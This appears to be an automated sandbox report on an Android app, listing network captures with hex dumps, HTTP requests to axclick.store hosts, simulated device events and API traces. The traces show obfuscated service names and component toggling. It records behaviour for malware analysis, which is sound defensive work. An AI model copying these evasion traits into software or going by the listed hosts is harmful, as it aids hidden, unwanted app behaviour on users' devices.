Data Raw: 31 37 35 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5c 5b 8f db 38 96 7e df 5f e1 9d c6 6c 92 41 54 31 e5 72 5d 5c 98 dd de 0b 06 68 a0 07 f3 d0 f3 b0 0f fb 42 49 94 cd 94 2c 29 ba 94 ab 12 e4 bf cf 21 79 8e 2c 55 7d f4 66 d1 2f db 08 d0 65 e9 88 a4 c8 8f e7 fa 51 9f fe f4 cf ff b4 fa d3 6a f5 97 a6 1e 56 ff 7e 32 7d 73 34 ab eb ab cd d5 7a 95 bd ac 7e 2e f4 93 d9 eb ba 78 59 25 ab c3 30 b4 bb 4f 9f 4a 92 d4 41 f0 ca 36 74 fd e7 d9 15 df d6 af 36 37 75 6f 62 8f 7c aa f8 fe 7b d7 e9 6e f5 db 2f bf ae fe f6 97 5f 57 ea 4a 7d 5c fd e7 6f bf ed 56 7f fd e5 ef d2 c8 07 6a f1 93 ef 21 29 75 6e be f1 5f 47 5b bd ec de b9 e7 79 cc ef 1e fa 2e df 8d 5d f5 fe dd d5 95 1f 63 3f 1f 69 72 32 99 bb 78 65 9a e1 df 9e fe ec 5f f0 dd 87 ff c3 33 3f 59 53 da e7 7f 99 1e 5d 95 4d 77 d4 c3 fb 77 e6 98 99 a2 30 45 d2 b4 a6 1e 5e 5a f3 ee c3 c7 ff 7d 18 a7 a6 2c d3 f3 40 a6 d6 fc f5 1f 6e 21 d2 c0 0f 3d 3f 0c 25 78 7c e8 46 f3 c3 2f d1 3f ed a5 89 9f 66 18 e8 cc 7e ac 74 f7 ee c3 f4 56 24 48 93 ed 97 ee 64 ec fe 30 ec 6a 37 7b 55 b8 d4 0f 2f 95 e1 2b df af 4a fd ad b0 7d 5b e9 97 9d ad 2b 5b 9b 24 ab 9a fc d1 8b b2 d0 2a 3c 2d ff 53 d7 ed f3 27 e5 11 cc 60 e0 76 ed 57 43 6d 1c 4c 67 87 87 c1 3c 0f 49 67 ea 82 7e d5 fb 9d 1e 87 e6 c1 81 e2 d1 12 b0 fc 28 8e 4d 33 1c fc bd 7a b0 ba b2 ba 37 c5 43 72 6c be 26 4d ff fc 5a 66 df e9 97 3e d7 95 79 18 3a 5d f7 0e 0c 3b ff 57 a5 07 f3 7e fd 71 b5 fe e0 5e 25 a9 f6 01 b1 bd 1b 8b ba da f0 7f e6 f8 e0 5f ed 10 66 e3 ea 76 4b 57 9e 4c 37 58 6a 33 a1 ce f7 f5 2e 51 db 3f fa 36 d2 e7 59 1b a9 39 fa 8b 9b f9 c5 0d 5f bc 9e 5f bc e6 8b db f9 45 ea c7 3f 5e 9e be 9d 6c 31 1c 68 4c e9 dd f6 56 5d a7 f7 34 02 3f 49 a1 77 da c1 83 e9 bc ec 58 7d 6b 75 51 d0 d4 24 95 29 87 dd fa e1 a8 bb bd ad c3 af f4 8a 1e f6 4d f8 97 ea 79 3d 13 87 22 5a af da 70 1b ff 5a d9 6f 6d d3 db c1 36 f5 ae 33 34 4f f6 29 dc 9b df d0 59 df 54 e3 60 1e 7c db c9 a2 f1 30 e0 c5 a5 a1 69 77 f3 fe f1 0b 54 96 97 22 34 aa ae c2 1b df dd f0 64 64 4d 47 b0 90 97 dc 5d d1 1c af ae 52 9a aa d5 95 72 0b 13 ee ef 68 64 b6 58 5d ad ef e8 c6 4f c6 18 be 9e 74 ba b0 63 4f e3 70 cd b5 63 55 25 9d 5b d5 6f 65 d5 e8 61 e7 ff e6 eb ae 7f be ec fe 74 6f 1f 1e f0 37 78 56 fd 03 bb 2b 5e d3 79 83 f3 69 97 fb 49 df da fa 9b 20 59 d7 96 94 92 9b 61 9a 57 77 67 95 f6 2b 5b 97 b6 b6 83 59 39 c8 e9 ee e1 47 84 fc c2 d0 d0 7a 73 a1 6d 35 6b bb 1f 4c db bf bf fb 00 5a 47 62 df 7f 96 21 3f 9a 97 b2 d3 47 d3 af 78 c8 df d6 7f 9c fa 3c 6f ae ae 19 fc ce 2a cc fe c3 6c cf cd 2f 7f 57 eb 4b 8f 6e b6 f7 f8 61 be f1 fd fb cf ff 8f c6 e2 e6 3f bc 5c 72 bf fe 56 da 8a 76 e3 ae ed 9a bd 2d 76 ff f5 df bf 1c f5 de fc 5d 34 cf d5 5f 6d de 35 7d 53 0e 57 ff a1 7b 9b fb bb ef fd d3 04 85 3f ab 0f 93 a6 7b 33 9f f7 61 42 93 63 9f c4 ee 45 ae 7b 84 f0 08 d5 dd ef 1c 62 7a 61 88 d4 78 7c 8c 72 f3 cd 20 f9 c6 7c 94 e9 ed ef 1c e5 e6 c2 28 a9 f1 f8 28 e5 e6 9b 51 f2 8d a0 92 2b db 26 87 a6 b3 5f 9d 83 55 fd be 35 27 0b 74 b4 5d d7
Data Ascii: 1751\[8~_lAT1r]\hBI,)!y,U}f/eQjV~2}s4z~.xY%0OJA6t67uob|{n/_WJ}\oVj!)un_G[y.]c?ir2xe_3?YS]Mww0E^Z},@n!=?%x|F/?f~tV$Hd0j7{U/+J}[+[$*<-S'`vWCmLg<Ig~(M3z7Crl&MZf>y:];W~q^%_fvKWL7Xj3.Q?6Y9__E?^l1hLV]4?IwX}kuQ$)My="ZpZom634O)YT`|0iwT"4ddMG]RrhdX]OtcOpcU%[oeato7xV+^yiI YaWwg+[Y9Gzsm5kLZGb!?Gx<o*l/WKna?\rVv-v]4_m5}SW{?{3aBcE{bzax|r |((Q+&_U5't]
33
Aug 30, 2017 10:21:41.169420958 CEST804792894.31.29.55192.168.1.33Data Raw: 74 78 f5 bd e9 7a 9f 90 bf e5 c0 b1 58 fc c5 ad f3 80 e7 97 cf c3 15 93 f5 fb 06 9b fe c8 60 69 ac 49 64 b0 7c eb f5 60 c3 e5 ef bb 8e 0c fb 6a b1 9f 3e be b9 46 70 79 7b 91 56 67 76 f1 d5 fa bc be f3 7a 2a 26 d3 d7 0f 3a 7f 7c 6b fa 1e a0 97 c3
Data Ascii: txzX`iId|`j>Fpy{Vgvz*&:|k6dQ8)}%y]Z6#_6Vu=[8~MtO+A~\TPA'#D$u]?4PjAw|?M{]o}Gx.
35
Aug 30, 2017 10:21:41.169430971 CEST804792894.31.29.55192.168.1.33Data Raw: c6 c3 bd 78 3e 9d 8b 54 9c 06 84 56 fe 5e f2 3d d8 c0 df 33 58 0e 05 f1 2c d0 40 34 43 25 a3 6a 2a d5 50 20 9c b4 c4 f3 a6 82 a1 5b 29 ee b0 ab c3 97 54 89 1f e0 22 6b 49 1f 93 b5 a2 cd 1e f5 ae b4 64 80 82 5c cc 57 d3 8c 99 43 10 c3 ba 43 33 68
Data Ascii: x>TV^=3X,@4C%j*P [)T"kId\WCC3hX(9^cyAi`Q0:dFj2<7p_3v?B%UTeh>91?]cLR]3Misdh'=B@I*7=}DF9`@(MFMXnuk(v0=1
36
Aug 30, 2017 10:21:41.180346012 CEST804792894.31.29.55192.168.1.33Data Raw: 52 da 80 5c 14 5c af 36 e2 09 3a ab e5 11 1a 73 c5 0d 03 d2 db 37 42 64 54 8e 11 e8 2c 6b 72 84 96 b0 3c e7 54 87 43 d3 e7 14 38 23 30 95 52 31 1e ed 10 33 ff 25 03 2e a3 19 8e 38 a1 12 a4 52 1d cf e0 7e 04 47 e3 50 99 0e 6a ad 72 5e 28 f6 15 21
Data Ascii: R\\6:s7BdT,kr<TC8#0R13%.8R~GPjr^(!RV;+SE<:CgMAY8pZZ8+R2V2}qr`"J)\$dK] 7o"upL8sih=ZRs?("FGA*>H)zr4f yfUIcE: 5
37
Aug 30, 2017 10:21:41.180372000 CEST804792894.31.29.55192.168.1.33Data Raw: e9 77 75 2f 35 eb 73 66 19 47 bc c2 e3 e9 5b 62 af 11 c1 75 1c 28 a5 8f 96 fc 5e ea 37 15 a6 4c a9 7b 76 99 a6 53 8b f1 ed 7b 2f 0a 89 4a d8 31 36 ac ba 67 14 3a 92 20 d6 48 f7 d3 b9 0a e2 4b 0f a3 ff 60 c0 a2 1c 3e 51 b6 b8 04 47 bb a9 a3 4f 37
Data Ascii: wu/5sfG[bu(^7L{vS{/J16g: HK`>QGO7J/F>4p_'$2xA?Ap8QUp|mF%TvJQfv%I*k9.Hjj9R Rx>Jz!jhR|)CTr2G
39
Aug 30, 2017 10:21:41.180382013 CEST804792894.31.29.55192.168.1.33Data Raw: 24 2b 2f 14 fb 3c 5b 2a 44 2b ca 1e 2c 55 2f 7d d4 1a 0e 4e 3e 45 65 f5 ac 60 3f f7 ac 53 a1 5a 11 e4 60 54 91 0a b7 aa 1f b3 13 ac 05 a5 42 a8 22 ae b9 1d a1 85 75 1c aa 7f 00 e8 f7 e7 c8 bb 5c 00 00 0d 0a 30 0d 0a 0d 0a
Data Ascii: $+/<[*D+,U/}N>Ee`?SZ`TB"u\0
39
Aug 30, 2017 10:21:41.198895931 CEST4792980192.168.1.3394.31.29.55GET /font-awesome/4.3.0/fonts/fontawesome-webfont.woff2?v=4.3.0 HTTP/1.1
Host: maxcdn.bootstrapcdn.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; VirtualBox Build/LMY48W) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Safari/537.36
Origin: http://u.axclick.store
Accept: */*
Referer: http://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css
Accept-Encoding: gzip, deflate
Accept-Language: en-US
X-Requested-With: com.twdlphqg.app
40
Aug 30, 2017 10:21:41.264858961 CEST804792994.31.29.55192.168.1.33HTTP/1.1 200 OK
Date: Wed, 30 Aug 2017 08:21:41 GMT
Content-Type: application/font-woff2
Content-Length: 56780
Connection: keep-alive
Last-Modified: Fri, 27 Feb 2015 19:45:39 GMT
ETag: "97493d3f11c0a3bd5cbd959f5d19b699"
Server: NetDNA-cache/2.2
Expires: Sat, 25 Aug 2018 08:21:41 GMT
Cache-Control: max-age=31104000
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
X-Hello-Human: Say hello back! @getBootstrapCDN on Twitter
X-Cache: HIT
Accept-Ranges: bytes
Data Raw: 77 4f 46 32 00 01 00 00 00 00 dd cc 00 0e 00 00 00 01 dc e4 00 00 dd 6c 00 04 00 c5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 1a 1e 06 60 00 85 42 11 08 0a 86 e3 64 85 b4 5a 01 36 02 24 03 91 2a 0b 88 5c 00 04 20 05 87 00 07 ab 1e 3f 77 65 62 66 06 5b 05 80 71 86 71 7b 21 51 d1 9d 50 ea b7 f7 d2 1b 87 19 05 ba 1d 44 41 c5 ef b7 6e 85 ec 7c 31 be a3 fd f9 a9 d9 ff ff ff bf 20 59 8c e1 ee 0f bc 47 40 54 75 3a 4b 5b 55 33 b2 9e fa 84 2c c8 e1 a6 14 47 ca 5e b3 63 28 70 d4 36 62 f2 8a 6c 0a 66 2d 6b bf 6e fe c0 2e 47 35 07 e6 9e 54 2b 33 d5 8a e3 69 8b 15 9e 4c 70 26 e8 c8 65 6c 27 e6 08 d5 7c 88 26 85 cd e2 9f 44 21 99 5e 66 69 76 4d 33 5c 53 29 bd 51 98 07 4c fc e6 8d 4e 5f e6 b6 82 2b 5b f9 21 c8 b8 53 e7 17 bb 6d 51 f8 7d 91 97 56 91 6f b9 c8 6b f4 90 c6 dc c7 28 87 b9 ac c2 04 31 41 52 bc 5d 41 13 7f 50 b1 6d f1 ce b4 1f a4 c5 ec e7 62 4e d3 73 45 50 bc 0b 37 64 7c 38 7e 45 fe 78 a6 d9 69 ed c6 6b 8c 93 ba a5 b8 8a f7 5f 13 29 ef d4 6a c6 50 4b b8 3a 74 f3 cd c8 ce ae f0 3d 7a e2 89 26 7f 77 64 09 e5 d8 8e 12 0d 2d 1d ef 53 84 e7 6b 2d 7b 3d 8d 8b 01 04 09 3c e5 03 40 96 b0 3c 08 1f 19 e3 52 1e f8 ee 84 3e e3 f7 0f cf cf ad b7 22 17 cd 36 62 63 8c 31 a2 c6 88 dc 5f 10 bd 51 21 a3 42 52 5a dd 24 5a 25 25 0c 40 0c 6c 54 54 b0 98 19 28 67 14 18 75 66 9d 37 ff 3f a7 bd 67 3f 0f e6 31 3c c1 15 0c c3 08 91 56 20 14 77 7f 4a a1 73 0a 95 5d 94 b1 6a 5d 37 6e 6a 07 00 0f d2 7d f9 32 99 9f f9 bb e0 f5 9b 4a 7c 8b 96 6a e1 22 9f c4 05 3e 74 21 aa 31 dd b9 b9 20 39 17 63 c3 ad 05 d4 79 b7 05 14 8e a5 2f 2b dd ce 97 53 ff 7f 24 c7 49 aa b1 8a 69 fa 90 60 c0 50 4a 0c ba 04 49 0d da 8c ee d2 3a 7f a7 91 0c 49 d1 49 0c 49 4a 01 2c c1 e5 dc 0e 14 36 ed e7 1d 51 b7 65 95 a9 31 d8 77 1f b9 5e 9f 54 7e 6f 4a 06 d9 26 96 05 11 a2 8f 2d 8f ff ff fd 9f 5a d2 2c 4b c9 62 ec 00 62 01 f8 4a 2a a7 a9 67 0b 94 02 39 fa 31 fc f9 c5 43 80 49 91 c3 82 d8 d9 33 13 6a b2 48 a9 1d ec 40 74 5f 64 ac b2 3b 93 27 7e f8 ff 39 fb ce 19 de da 39 bb 7e 25 24 c8 48 b0 04 68 a7 f5 29 e3 7e a5 85 1a a5 f2 ac d3 ed 76 84 e4 fe 24 bb 9e fc 12 47 da 4e 4c f0 42 20 09 52 a5 4a 39 d2 d7 8e 3c aa 6b cf 14 6b 9b df 82 86 e4 1f ab 32 44 f0 16 e5 db a2 69 18 56 ea 7e b5 fc e0 bc 50 07 1d da 21 e6 ca 2b 9d 69 b7 72 c2 7b 77 4f 68 87 2b 00 6a c3 15 70 1d ee a4 49 27 b5 bb 7b b2 f4 cf b2 f4 d2 13 d8 49 2a e0 5a 50 74 a9 82 83 a1 73 81 c1 03 d1 aa e2 6f 59 c3 f3 73 eb 01 23 7a 54 8f d1 a3 c6 02 06 1b ec af 02 56 8c 05 ac 60 63 63 d4 60 44 6f 80 88 80 12 26 88 27 53 54 3c 31 50 c1 c2 c0 ba 34 ea 4e bd 50 2e 2a 19 dc 66 c8 1d 31 1d 62 7a 42 7a c7 c3 cb d7 6f 07 80 78 f9 56 da fe f3 cf e9 ab b6 de 8c b4 78 77 95 5f 18 33 1a e1 ad 4c 6d 73 b7 89 43 82 90 83 08 31 c8 9c 3a a5 0e 68 00 78 af a3 25 92 04 b8 9f 5b 98 2a 5b 2f c6 74 be f1 70 af ce 3e 8d 14 67 37 33 92 93 23 e0 ea ca eb c8 b2 03 4b f0 91 12 37 a3 56 73 0c 10 38 a8 08 8a ea bf 75 c2 98 ee a5 03 f3 78 2d fd 6e 6b 4a 15
Data Ascii: wOF2l?FFTM`BdZ6$*\ ?webf[qq{!QPDAn|1 YG@Tu:K[U3,G^c(p6blf-kn.G5T+3iLp&el'|&D!^fivM3\S)QLN_+[!SmQ}Vok(1AR]APmbNsEP7d|8~Exik_)jPK:t=z&wd-Sk-{=<@<R>"6bc1_Q!BRZ$Z%%@lTT(guf7?g?1<V wJs]j]7nj}2J|j">t!1 9cy/+S$Ii`PJI:IIIJ,6Qe1w^T~oJ&-Z,KbbJ*g91CI3jH@t_d;'~99~%$Hh)~v$GNLB RJ9<kk2DiV~P!+ir{wOh+jpI'{I*ZPtsoYs#zTV`cc`Do&'ST<1P4NP.*f1bzBzoxVxw_3LmsC1:hx%[*[/tp>g73#K7Vs8ux-nkJ
41
Aug 30, 2017 10:21:41.264893055 CEST804792994.31.29.55192.168.1.33Data Raw: 55 e9 08 8a 7a 81 91 b0 98 e4 df f7 9d 1a a2 01 68 ac 5b 6c 6c 34 16 ec 53 1b b5 d6 45 f1 cf c9 56 07 87 37 b0 dd de 91 88 80 10 60 00 07 23 b7 f3 6f aa 65 0b 90 c4 89 97 b2 d6 21 eb 42 77 2e ba 5d 39 a5 f6 dc e5 a2 9f 1f 66 c0 ff ff 7c 00 33 03
Data Ascii: Uzh[ll4SEV7`#oe!Bw.]9f|3$R"J)jk?V0)&Ir\\.]]tU*1.;gh6j[H-lK#J%7I:!V-`hmaYuZ>.pK
43
Aug 30, 2017 10:21:41.264903069 CEST804792994.31.29.55192.168.1.33Data Raw: 57 22 31 8e 5a d4 13 ef 97 fd 40 e6 a7 b5 c8 25 56 15 01 03 df e7 b1 c8 05 52 a9 0f 7e 91 37 b0 44 0d 57 4c f9 32 09 d5 6e ab ba ca a1 b4 af 51 62 84 47 05 ca 70 1a 7c 75 eb 9b 9b 0f f8 74 48 54 ca eb 73 cd d2 97 06 80 1e 95 0d 36 d1 94 00 6f cd
Data Ascii: W"1Z@%VR~7DWL2nQbGp|utHTs6o2k:`<mQN_xkOI$f6Z4[_dy2qJ8oCXyNt)=fL.IM_!B9_:F@pm5&I]m
43
Aug 30, 2017 10:21:41.267985106 CEST804792994.31.29.55192.168.1.33Data Raw: 35 ec 79 8d 1b 7c 97 7f e5 cb 41 a5 c8 43 2e d3 9e 06 22 d7 70 85 8f 6c c7 cb e7 fb 2c 53 3f c2 a8 0d 0f 3d ef fb 8c 75 e1 39 26 e7 06 33 ad 9b c0 a4 76 99 d8 e5 ee e8 1a 25 eb 18 eb 77 52 72 cd a2 b1 5a 76 57 70 1d db 71 01 62 e6 0c 6e fe c4 b4
Data Ascii: 5y|AC."pl,S?=u9&3v%wRrZvWpqbn1R<B#Za5;^4^H7{Rf+\5d0WZexx|+#aYcGfU!\Kq`qp1!gz6s
45
Aug 30, 2017 10:21:41.268007994 CEST804792994.31.29.55192.168.1.33Data Raw: 21 5a 6f 5f c4 3c 17 22 5e aa 30 da 00 d9 4b 23 de 18 88 0c e5 0d dc 6e f8 58 7b 38 79 5e 75 6b 6c 47 a6 b2 25 c0 48 5e 52 b7 96 2e c0 80 91 2a 10 94 21 34 a3 b0 5b 7c fb 7d 06 9c 3e 6f 0a f4 45 36 d4 d6 16 f6 3f de 22 75 c1 fe fe 93 82 f8 1d 04
Data Ascii: !Zo_<"^0K#nX{8y^uklG%H^R.*!4[|}>oE6?"u#j$~$<Lq,9V*1Zx[qHv}Of52j!hOT!QmmqRd1ih'/7O:S5`F*KejW+jnG
47
Aug 30, 2017 10:21:41.268017054 CEST804792994.31.29.55192.168.1.33Data Raw: 35 11 9f a5 da 32 db d8 c5 a8 72 6e ee ed fa 96 60 3c b2 26 56 8d 9e a8 74 e0 d6 2a d0 55 3d a6 e4 48 c0 7d 35 80 bd 04 93 f7 2a 05 cc 8f b2 6e 23 19 06 fe 00 cc 3a b2 48 ae 99 1b e6 8e e9 ee af e0 62 6e 84 76 69 ba 27 92 d6 82 8f 53 cc b6 91 f4
Data Ascii: 52rn`<&Vt*U=H}5*n#:Hbnvi'S^*Vq|j.73[1&v\VlhE5cJ<TPq_{i6K?D $Ql4Nn(euz:5O0eeZQ`ND:m30oetgF
48
Aug 30, 2017 10:21:41.268683910 CEST804792994.31.29.55192.168.1.33Data Raw: 94 70 78 10 82 63 98 43 44 13 64 86 a8 a5 02 ee bd 1c 8a 24 be 94 e1 10 de c7 f1 21 c1 6e a1 71 1a 44 0f 51 2b 40 72 1b 18 a2 34 d8 55 0f 32 36 0b 85 7c 21 71 92 4a 46 92 b8 7c 23 c2 f3 77 de 61 6e c6 d5 c4 b8 f2 90 bd 30 7a 1a 42 d7 2b 66 68 5b
Data Ascii: pxcCDd$!nqDQ+@r4U26|!qJF|#wan0zB+fh[)N?o+_Ni_kYKiwAyR&LJ%U#5!i(G|c Bt{3J(jfql.G6Thhi>4hV>1
49
Aug 30, 2017 10:21:41.268709898 CEST804792994.31.29.55192.168.1.33Data Raw: cd 94 9a 4d 3e ce 45 fc b2 1d 8a 4c 71 b2 4e 4a 17 19 57 84 1d 1b 94 49 aa dd da ce 2e 3f 5c 46 a8 59 25 ac 1f 60 23 ec d8 a7 7d ea 16 2c c0 b8 48 5e 00 d9 3e cd 36 21 7e da 41 4b 24 ee c5 e5 75 39 44 4b 29 18 21 5c 36 85 e2 6c fa 32 8a 11 3d 98
Data Ascii: M>ELqNJWI.?\FY%`#},H^>6!~AK$u9DK)!\6l2=wrbfSKM=<QjTHGVGGT2fK>I+k|8.\p,J:\V;'wy-GR*+h7xt3SpE4.n6r#(p
51
Aug 30, 2017 10:21:41.268718958 CEST804792994.31.29.55192.168.1.33Data Raw: c3 9a 18 ba 64 bc 9e 0b 5e ef b5 d4 e0 60 5a 3d 9f 25 7d 31 d1 b2 d6 73 28 28 79 ac b6 5e bb dc 5d b6 5f 20 63 2b e9 ef f5 05 75 e6 4e 72 cd 07 6a f6 7f 55 03 76 fc 18 02 35 ea b0 0e 16 e8 49 87 a1 91 f2 28 70 1c 67 b0 52 63 70 0f 16 81 50 ef 8d
Data Ascii: d^`Z=%}1s((y^]_ c+uNrjUv5I(pgRcpPSJ^A'O1;41rsYYP&\hd0N4s0P?bD0yTByS{-Rrj+^$5@vPZ')@K?/Dz}
52
Aug 30, 2017 10:21:41.273091078 CEST804792994.31.29.55192.168.1.33Data Raw: 35 4e e7 2d 47 61 b9 fe b8 b1 1c 4b 0d 88 68 78 f2 02 5d 68 06 2b 35 51 a4 c6 4d ee bd c0 7d 42 cd a2 37 37 9c fc 23 80 91 47 68 01 57 a5 3e b9 b5 e6 75 74 8f f7 64 f2 3f 59 5e ef 21 af 22 e3 d6 87 ab d4 fe 3e 13 b9 1f b1 67 a0 d7 5f ca 1c c1 da
Data Ascii: 5N-GaKhx]h+5QM}B77#GhW>utd?Y^!">g_g&'|KFn/*lH'XcPkfxZgZ:0NRF)'M ZTxgAp|qw]9W(5e7J"KP@7. S8]3gBO<1\)L(J
52
Aug 30, 2017 10:21:41.279589891 CEST804792994.31.29.55192.168.1.33Data Raw: 12 40 9d b4 05 ce f3 36 2e c2 48 fe a2 6e 2b 6c a6 8a 20 3d b0 51 0f 04 d1 f1 dc 3c a1 23 68 26 a7 77 d0 ac 1f ad ea 4d c3 86 1f de 67 bf d1 47 a1 59 e0 ec cc b9 93 a4 a8 97 2a 65 bb 96 31 c8 4b 0d 2a 95 7c 95 80 78 f1 0b 8c 10 48 d3 40 14 16 48
Data Ascii: @6.Hn+l =Q<#h&wMgGY*e1K*|xH@HHp|Fvl j4nnM'>btP*E#+o77!Q/,"&OLM2}LscaT<_=@vcz[dHs^R3<a,\_\X@
54
Aug 30, 2017 10:22:39.952552080 CEST3290380192.168.1.33217.182.173.145GET / HTTP/1.1
Host: g.axclick.store
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; VirtualBox Build/LMY48W) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en-US
X-Requested-With: com.twdlphqg.app
117
Aug 30, 2017 10:22:40.120572090 CEST8032903217.182.173.145192.168.1.33HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.31
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Date: Wed, 30 Aug 2017 08:22:40 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: Keep-Alive
117
Aug 30, 2017 10:23:40.572314978 CEST3290480192.168.1.33217.182.173.145GET / HTTP/1.1
Host: g.axclick.store
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; VirtualBox Build/LMY48W) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en-US
X-Requested-With: com.twdlphqg.app
118
Aug 30, 2017 10:23:40.731384039 CEST8032904217.182.173.145192.168.1.33HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.31
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Date: Wed, 30 Aug 2017 08:23:40 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: Keep-Alive
118

APK Behavior

Simulated Events

TypeData
boot completed
  • -
time tick
  • -
incoming sms
  • 0123456789
  • this is a text message
outgoing sms
  • 9876543210
  • thank you
location change
  • 54.13
  • 12.14
incoming call
  • 0123456789
outgoing call
  • 9876543210
time tick
  • -

Interacted Views

View Data
  • Object: com.android.internal.view.menu.ActionMenuItemView{13a56f18 VFED..CL ......I. 0,0-52,46 #7f0a0053 app:id/btn_action_search}
  • X: 900
  • Y: 425
  • Object: android.support.v7.widget.SearchView$SearchAutoComplete{3347e50d VFED..CL .F....I. 2,0-244,29 #7f0a0037 app:id/search_src_text}
  • X: 27
  • Y: 43
  • Object: android.support.v7.widget.SearchView$SearchAutoComplete{3347e50d VFED..CL .F.P..I. 2,0-244,29 #7f0a0037 app:id/search_src_text}
  • X: 184
  • Y: 41
API: android.content.ContentResolver->query at com.twdlphqg.app.dals.TrackDal.getTracksOnMDS:40 Show source
NameTypeValue
p0android.net.Uri$StringUri
  • toString: content://media/external/audio/media
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@3dc072f0
  • Arrays.toString: [_id, title, artist, album_id, _data]
p2null
  • toString: null
p3null
  • toString: null
p4null
  • toString: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@3964069
API: android.content.ContentResolver->query at com.twdlphqg.app.dals.ArtistDal.getArtistsOnMDS:28 Show source
NameTypeValue
p0android.net.Uri$StringUri
  • toString: content://media/external/audio/artists
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@3adab8f
  • Arrays.toString: [_id, artist]
p2null
  • toString: null
p3null
  • toString: null
p4null
  • toString: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@3ad1ce1c
API: android.content.ContentResolver->query at com.twdlphqg.app.dals.AlbumDal.getAlbumOnMDS:36 Show source
NameTypeValue
p0android.net.Uri$StringUri
  • toString: content://media/external/audio/albums
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@f9e77fa
  • Arrays.toString: [_id, album, artist, album_art]
p2null
  • toString: null
p3null
  • toString: null
p4null
  • toString: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@346371ab
API: android.content.pm.PackageManager->setComponentEnabledSetting at com.twdlphqg.app.ExplorationActivity.snewxwrivv:31 Show source
API: android.content.ContentResolver->query at com.twdlphqg.app.dals.TrackDal.getTracksByTitleOnMDS:61 Show source
API: android.content.ContentResolver->query at com.twdlphqg.app.dals.TrackDal.getTracksByIdOnMDS:51 Show source
API: android.content.ContentResolver->query at com.twdlphqg.app.dals.TrackDal.getTracksByArtistIdOnMDS:51 Show source
API: android.content.ContentResolver->query at com.twdlphqg.app.dals.ArtistDal.getArtistsByNameOnMDS:49 Show source
API: android.content.ContentResolver->query at com.twdlphqg.app.dals.TrackDal.getTracksByAlbumOnMDS:53 Show source
API: android.content.ContentResolver->query at com.twdlphqg.app.dals.TrackDal.getTracksByAlbumIdOnMDS:51 Show source
API: android.content.ContentResolver->query at com.twdlphqg.app.dals.AlbumDal.getAlbumsByTitleOnMDS:57 Show source
API: android.content.ContentResolver->query at com.twdlphqg.app.dals.TrackDal.getTracksByArtistOnMDS:53 Show source
API: android.content.ContentResolver->query at com.twdlphqg.app.dals.AlbumDal.getAlbumsByIdOnMDS:47 Show source
API: android.media.RingtoneManager->setActualDefaultRingtoneUri at com.twdlphqg.app.business.Ultils.setRingtone:133 Show source
API: com.twdlphqg.app.conf.Rmlsgfvgbscu->startService at com.twdlphqg.app.conf.Rmlsgfvgbscu.snewxwriS:8 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=com.twdlphqg.app/.services.Ryiidrxcjmfb }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.twdlphqg.app/com.twdlphqg.app.services.Ryiidrxcjmfb}
API: com.twdlphqg.app.conf.Rmlsgfvgbscu->startService at com.twdlphqg.app.conf.Rmlsgfvgbscu.snewxwriS:8 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=com.twdlphqg.app/.services.Ryiidrxcjmfb }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.twdlphqg.app/com.twdlphqg.app.services.Ryiidrxcjmfb}
API: com.twdlphqg.app.conf.Rmlsgfvgbscu->startService at com.twdlphqg.app.conf.Rmlsgfvgbscu.snewxwriS:8 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=com.twdlphqg.app/.services.Ryiidrxcjmfb }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.twdlphqg.app/com.twdlphqg.app.services.Ryiidrxcjmfb}
API: android.content.ContentResolver->query at com.twdlphqg.app.dals.AlbumDal.getAlbumOnMDS:36 Show source
NameTypeValue
p0android.net.Uri$StringUri
  • toString: content://media/external/audio/albums
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@f9e77fa
  • Arrays.toString: [_id, album, artist, album_art]
p2null
  • toString: null
p3null
  • toString: null
p4null
  • toString: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@346371ab
API: android.content.ContentResolver->query at com.twdlphqg.app.dals.ArtistDal.getArtistsOnMDS:28 Show source
NameTypeValue
p0android.net.Uri$StringUri
  • toString: content://media/external/audio/artists
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@3adab8f
  • Arrays.toString: [_id, artist]
p2null
  • toString: null
p3null
  • toString: null
p4null
  • toString: null
NameTypeValue
